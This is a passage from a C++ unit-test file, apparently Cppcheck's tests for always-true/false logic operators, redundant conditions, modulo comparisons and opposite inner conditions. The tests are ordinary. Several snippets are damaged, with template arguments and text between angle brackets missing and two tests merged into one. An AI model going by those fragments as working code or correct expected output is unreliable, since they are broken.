errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==6) || (x!=6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x == 6 || x != 6. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 10 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x == 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 5 && x == 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x == 6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x == 6' is sufficient. [redundantCondition]\\n\", errout_str());\n\n // #3419\n check(\"void f() {\\n\"\n \" if ( &q != &a && &q != &b ) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3676\n check(\"void f(int m_x2, int w, int x) {\\n\"\n \" if (x + w - 1 > m_x2 || m_x2 < 0 )\\n\"\n \" m_x2 = x + w - 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x <= 1.0e20 && x >= -1.0e20) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x >= 1.0e20 && x <= 1.0e21) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x <= -1.0e20 && x >= -1.0e21) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator3() {\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 5 && x == 1;\\n\"\n \" c = x < 1 && x == 3;\\n\"\n \" d = x >= 5 && x == 1;\\n\"\n \" e = x <= 1 && x == 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 5 && x == 1. [incorrectLogicOperator]\\n\"\n \"[test.cpp:3:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x == 3. [incorrectLogicOperator]\\n\"\n \"[test.cpp:4:16]: (warning) Logical conjunction always evaluates to false: x >= 5 && x == 1. [incorrectLogicOperator]\\n\"\n \"[test.cpp:5:16]: (warning) Logical conjunction always evaluates to false: x <= 1 && x == 3. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator4() {\n check(\"#define ZERO 0\\n\"\n \"void f(int x) {\\n\"\n \" if (x && x != ZERO) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int N) {\\n\" // #9789\n \" T a[20] = { 0 };\\n\"\n \" for (int i = 0; i < N; ++i) {\\n\"\n \" if (0 < a[i] && a[i] < 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator5() { // complex expressions\n check(\"void f(int x) {\\n\"\n \" if (x+3 > 2 || x+3 < 10) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x+3 > 2 || x+3 < 10. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator6() { // char literals\n check(\"void f(char x) {\\n\"\n \" if (x == '1' || x == '2') {}\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char x) {\\n\"\n \" if (x == '1' && x == '2') {}\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == '1' && x == '2'. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c >= 'a' && c <= 'z');\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c <= 'a' && c >= 'z');\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning, inconclusive) Logical conjunction always evaluates to false: c <= 'a' && c >= 'z'. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c <= 'a' && c >= 'z');\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:2:25]: (style) Return value 'c>='z'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator7() { // opposite expressions\n check(\"void f(int i) {\\n\"\n \" if (i || !i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (warning) Logical disjunction always evaluates to true: i || !(i). [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (a>b || a<=b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Logical disjunction always evaluates to true: a > b || a <= b. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (a>b || a T icdf( const T uniform ) {\\n\"\n \" if ((0 -1.0 - 1.0e-12))\\n\"\n \" return;\\n\"\n \" else\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator8() { // opposite expressions\n check(\"void f(int i) {\\n\"\n \" if (!(i!=10) && !(i!=20)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: !(i != 10) && !(i != 20). [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator9() { // #6069 \"False positive incorrectLogicOperator due to dynamic_cast\"\n check(\"class MyType;\\n\"\n \"class OtherType;\\n\"\n \"void foo (OtherType* obj) {\\n\"\n \" assert((!obj) || dynamic_cast(obj));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator10() { // #7794 - enum\n check(\"typedef enum { A, B } Type_t;\\n\"\n \"void f(Type_t t) {\\n\"\n \" if ((t == A) && (t == B))\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Logical conjunction always evaluates to false: t == 0 && t == 1. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator11() {\n check(\"void foo(int i, const int n) { if ( i < n && i == n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (warning) Logical conjunction always evaluates to false: i < n && i == n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i > n && i == n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (warning) Logical conjunction always evaluates to false: i > n && i == n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i == n && i > n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:44]: (warning) Logical conjunction always evaluates to false: i == n && i > n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i == n && i < n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:44]: (warning) Logical conjunction always evaluates to false: i == n && i < n. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator12() { // #8696\n check(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:9] -> [test.cpp:6:9] -> [test.cpp:8:13]: (warning) Logical conjunction always evaluates to false: a > x && a < y. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A a, A b) {\\n\"\n \" const A x = b;\\n\"\n \" const A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:3:15] -> [test.cpp:5:13]: (warning) Logical conjunction always evaluates to false: a > x && a < y. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void foo(A a) {\\n\"\n \" A x = a;\\n\"\n \" A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:18]: (style) Condition 'a x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(A a) {\\n\"\n \" A x = a;\\n\"\n \" A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(A a) {\\n\"\n \" const A x = a;\\n\"\n \" const A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:18]: (style) Condition 'a [test.cpp:3:18]: (warning) Logical conjunction always evaluates to false: v == 1 && x == 2. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f2(const int *v) {\\n\"\n \" const int *x=v;\\n\"\n \" if ((*v == 1) && (*x == 2)) {;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:3:19]: (warning) Logical conjunction always evaluates to false: *(v) == 1 && *(x) == 2. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator14() {\n check(\"static const std ::string h;\\n\"\n \"class i {\\n\"\n \"public:\\n\"\n \" struct j {\\n\"\n \" std ::string k;\\n\"\n \" std ::string l;\\n\"\n \" };\\n\"\n \" struct a {\\n\"\n \" enum { m = 1 };\\n\"\n \" };\\n\"\n \"} b;\\n\"\n \"namespace n {\\n\"\n \"class c;\\n\"\n \"}\\n\"\n \"struct o {\\n\"\n \" enum { p, d, q, r };\\n\"\n \" enum { e, f };\\n\"\n \"\\n\"\n \"public:\\n\"\n \" class j {\\n\"\n \" public:\\n\"\n \" class s {\\n\"\n \" std ::string a;\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace n {\\n\"\n \"class b;\\n\"\n \"}\\n\"\n \"namespace aa {\\n\"\n \"class d {\\n\"\n \"public:\\n\"\n \" char t;\\n\"\n \" enum {} u;\\n\"\n \"};\\n\"\n \"} // namespace aa\\n\"\n \"namespace aa {\\n\"\n \"struct e {};\\n\"\n \"} // namespace aa\\n\"\n \"class a;\\n\"\n \"class w {\\n\"\n \"public:\\n\"\n \" enum { x };\\n\"\n \" struct {\\n\"\n \" } y;\\n\"\n \" std ::string z;\\n\"\n \"};\\n\"\n \"class ab {\\n\"\n \" friend class c;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" class ac {\\n\"\n \" void e(const ac &v) const;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class f;\\n\"\n \"class ad {\\n\"\n \" friend class e;\\n\"\n \" enum { e, ae, ag, ah, ai, aj, ak, a, b };\\n\"\n \" class c {};\\n\"\n \" class d {\\n\"\n \" enum am { f, an, ao, ap, aq, ar, b, as, at, c, au };\\n\"\n \" enum av { aw, ax, ay, az, e, ba, bb, bc, bd, a };\\n\"\n \" struct b {\\n\"\n \" am action;\\n\"\n \" av c;\\n\"\n \" };\\n\"\n \" };\\n\"\n \" class e {\\n\"\n \" public:\\n\"\n \" std ::string e;\\n\"\n \" class f {\\n\"\n \" } f;\\n\"\n \" class be {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \" std ::vector bf;\\n\"\n \" enum { bg, b } c;\\n\"\n \" };\\n\"\n \" struct bh {\\n\"\n \" std ::map b;\\n\"\n \" };\\n\"\n \" std ::map bi;\\n\"\n \" struct {\\n\"\n \" int b;\\n\"\n \" char bj;\\n\"\n \" } bk;\\n\"\n \" class a {\\n\"\n \" public:\\n\"\n \" std ::set b;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class bl;\\n\"\n \"class al;\\n\"\n \"class bm;\\n\"\n \"class f;\\n\"\n \"class b;\\n\"\n \"class bn;\\n\"\n \"namespace bo {\\n\"\n \"class bp {\\n\"\n \"public:\\n\"\n \" typedef std ::pair bq;\\n\"\n \" typedef std ::list br;\\n\"\n \"};\\n\"\n \"const bo ::bp *dg(const f *a, const al *b);\\n\"\n \"} // namespace bo\\n\"\n \"const bn *dh(const f *d, bo ::bp ::br &bs);\\n\"\n \"class f {\\n\"\n \"public:\\n\"\n \" struct bt {};\\n\"\n \" std ::vector f;\\n\"\n \"};\\n\"\n \"class bu;\\n\"\n \"class a;\\n\"\n \"class c;\\n\"\n \"struct bv {};\\n\"\n \"class af {\\n\"\n \"private:\\n\"\n \"public:\\n\"\n \" enum { b, d, e, f, c, bw };\\n\"\n \" void a(int c);\\n\"\n \" af *bx() const;\\n\"\n \"};\\n\"\n \"namespace by {\\n\"\n \"class b;\\n\"\n \"}\\n\"\n \"class b {\\n\"\n \"public:\\n\"\n \" bool d, c;\\n\"\n \"};\\n\"\n \"class bz;\\n\"\n \"class f;\\n\"\n \"class ca {\\n\"\n \" friend class b;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" const bm *cb() const { return cc; }\\n\"\n \" f *d(f *e, bool f) const;\\n\"\n \" int e() { return ++cd; }\\n\"\n \" bl *const c;\\n\"\n \" bm *cc;\\n\"\n \" std ::map ce;\\n\"\n \" int cd;\\n\"\n \" bz *a;\\n\"\n \"};\\n\"\n \"namespace n {\\n\"\n \"class c;\\n\"\n \"class d;\\n\"\n \"} // namespace n\\n\"\n \"class cf {\\n\"\n \"public:\\n\"\n \" explicit cf(const std ::string &aname);\\n\"\n \" cf(const std ::string &aname, const ca *cg, const al *ch, bl *ci)\\n\"\n \" : cj(cg), ck(ch), cl(ci), cn(aname) {}\\n\"\n \"\\n\"\n \"protected:\\n\"\n \" const ca *const cj;\\n\"\n \" const al *const ck;\\n\"\n \" bl *const cl;\\n\"\n \" const std ::string cn;\\n\"\n \"};\\n\"\n \"class cm : public cf {\\n\"\n \"public:\\n\"\n \" void cp();\\n\"\n \" std ::string d() const;\\n\"\n \"};\\n\"\n \"struct co {\\n\"\n \" co();\\n\"\n \" const bu *a;\\n\"\n \" enum f {};\\n\"\n \" enum {\\n\"\n \" b = (1 << 0),\\n\"\n \" c = (1 << 1),\\n\"\n \" };\\n\"\n \" void d(bool e);\\n\"\n \"};\\n\"\n \"class bu {\\n\"\n \" friend class e;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" struct f {};\\n\"\n \" enum { d, cr, cq, ct, cs, e, a, b, c, dd, cu, cv, cw, cx, cy, cz, da };\\n\"\n \" const f *db;\\n\"\n \" const af *dc;\\n\"\n \"} f{};\\n\"\n \"class bm {\\n\"\n \"public:\\n\"\n \" std ::list df;\\n\"\n \" std ::vector de;\\n\"\n \" mutable std ::set f;\\n\"\n \"};\\n\"\n \"void cm ::cp() {\\n\"\n \" const bm *a = cj->cb();\\n\"\n \" for (const bu *b : a->de)\\n\"\n \" for (af *c = b->dc->bx();;) {\\n\"\n \" af *d = c;\\n\"\n \" af *e = c;\\n\"\n \" bool f(d);\\n\"\n \" bool g(e);\\n\"\n \" if (f && g)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:200:11] -> [test.cpp:200:16]: (style) Condition 'g' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator15() {\n // 10022\n check(\"struct PipeRoute {\\n\"\n \" std::deque points;\\n\"\n \" std::deque estimates;\\n\"\n \"};\\n\"\n \"void CleanPipeRoutes(std::map& pipeRoutes) {\\n\"\n \" for (auto it = pipeRoutes.begin(); it != pipeRoutes.end(); ) {\\n\"\n \" PipeRoute* curRoute = it->second;\\n\"\n \" if (curRoute->points.empty() && curRoute->estimates.size() != 2)\\n\"\n \" {\\n\"\n \" delete curRoute;\\n\"\n \" it = pipeRoutes.erase(it);\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator16() { // #10070\n check(\"void foo(void* p) {\\n\"\n \" if (!p || p == -1) { }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator17() { // #12471\n check(\"struct R {\\n\"\n \" void set() { i = 1; }\\n\"\n \" int get() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct P {\\n\"\n \" void f();\\n\"\n \" R* r;\\n\"\n \"};\\n\"\n \"void P::f() {\\n\"\n \" int a = r->get();\\n\"\n \" r->set();\\n\"\n \" if (a == 0 && r->get()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void secondAlwaysTrueFalseWhenFirstTrueError() {\n check(\"void f(void) {\\n\" // #8892\n \" const char c[1] = { \\'x\\' }; \\n\"\n \" if(c[0] == \\'x\\'){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'c[0]=='x'' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x != 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x != 1' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x != 6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x > 5) && (x != 1))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Redundant condition: The condition 'x != 1' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x > 5) && (x != 6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 3 || x == 4;\\n\"\n \" c = x < 5 || x == 4;\\n\"\n \" d = x >= 3 || x == 4;\\n\"\n \" e = x <= 5 || x == 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x > 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x < 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:16]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x >= 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:16]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x <= 5' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 5 || x != 1;\\n\"\n \" c = x < 1 || x != 3;\\n\"\n \" d = x >= 5 || x != 1;\\n\"\n \" e = x <= 1 || x != 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x != 1' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x < 1' is redundant since 'x != 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:16]: (style) Redundant condition: The condition 'x >= 5' is redundant since 'x != 1' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:16]: (style) Redundant condition: The condition 'x <= 1' is redundant since 'x != 3' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 6 && x > 5;\\n\"\n \" c = x > 5 || x > 6;\\n\"\n \" d = x < 6 && x < 5;\\n\"\n \" e = x < 5 || x < 6;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x > 6' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x > 6' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:15]: (style) Redundant condition: The condition 'x < 6' is redundant since 'x < 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:15]: (style) Redundant condition: The condition 'x < 5' is redundant since 'x < 6' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(double x, bool& b) {\\n\"\n \" b = x > 6.5 && x > 5.5;\\n\"\n \" c = x > 5.5 || x > 6.5;\\n\"\n \" d = x < 6.5 && x < 5.5;\\n\"\n \" e = x < 5.5 || x < 6.5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Redundant condition: The condition 'x > 5.5' is redundant since 'x > 6.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:17]: (style) Redundant condition: The condition 'x > 6.5' is redundant since 'x > 5.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:17]: (style) Redundant condition: The condition 'x < 6.5' is redundant since 'x < 5.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:17]: (style) Redundant condition: The condition 'x < 5.5' is redundant since 'x < 6.5' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(const char *p) {\\n\" // #10320\n \" if (!p || !*p || *p != 'x') {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Redundant condition: The condition '!*p' is redundant since '*p != 'x'' is sufficient. [redundantCondition]\\n\",\n errout_str());\n }\n\n void incorrectLogicOp_condSwapping() {\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 && x < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (3 < x && x < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 && 1 > x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (3 < x && 1 > x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void modulo() {\n check(\"bool f(bool& b1, bool& b2, bool& b3) {\\n\"\n \" b1 = a % 5 == 4;\\n\"\n \" b2 = a % c == 100000;\\n\"\n \" b3 = a % 5 == c;\\n\"\n \" return a % 5 == 5-p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool& b1, bool& b2, bool& b3, bool& b4, bool& b5) {\\n\"\n \" b1 = a % 5 < 5;\\n\"\n \" b2 = a % 5 <= 5;\\n\"\n \" b3 = a % 5 == 5;\\n\"\n \" b4 = a % 5 != 5;\\n\"\n \" b5 = a % 5 >= 5;\\n\"\n \" return a % 5 > 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:3:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:4:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:5:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:6:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:7:18]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\",\n errout_str());\n\n check(\"void f(bool& b1, bool& b2) {\\n\"\n \" b1 = bar() % 5 < 889;\\n\"\n \" if(x[593] % 5 <= 5)\\n\"\n \" b2 = x.a % 5 == 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:20]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:3:19]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:4:22]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" if (a % 2 + b % 2 == 2)\\n\"\n \" foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerCondition() {\n check(\"void foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" if(a!=b)\\n\"\n \" cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"bool foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" return a!=b;\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:17]: (warning) Opposite inner 'return' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" if(b!=a)\\n\"\n \" cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" if(a >= 50) {\\n\"\n \" if(a < 50)\\n\"\n \" cout << a;\\n\"\n \" else\\n\"\n \" cout << 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:14]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n // #4186\n check(\"void foo(int a) {\\n\"\n \" if(a >= 50) {\\n\"\n \" if(a > 50)\\n\"\n \" cout << a;\\n\"\n \" else\\n\"\n \" cout << 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 4170\n check(\"class foo {\\n\"\n \" void bar() {\\n\"\n \" if (tok == '(') 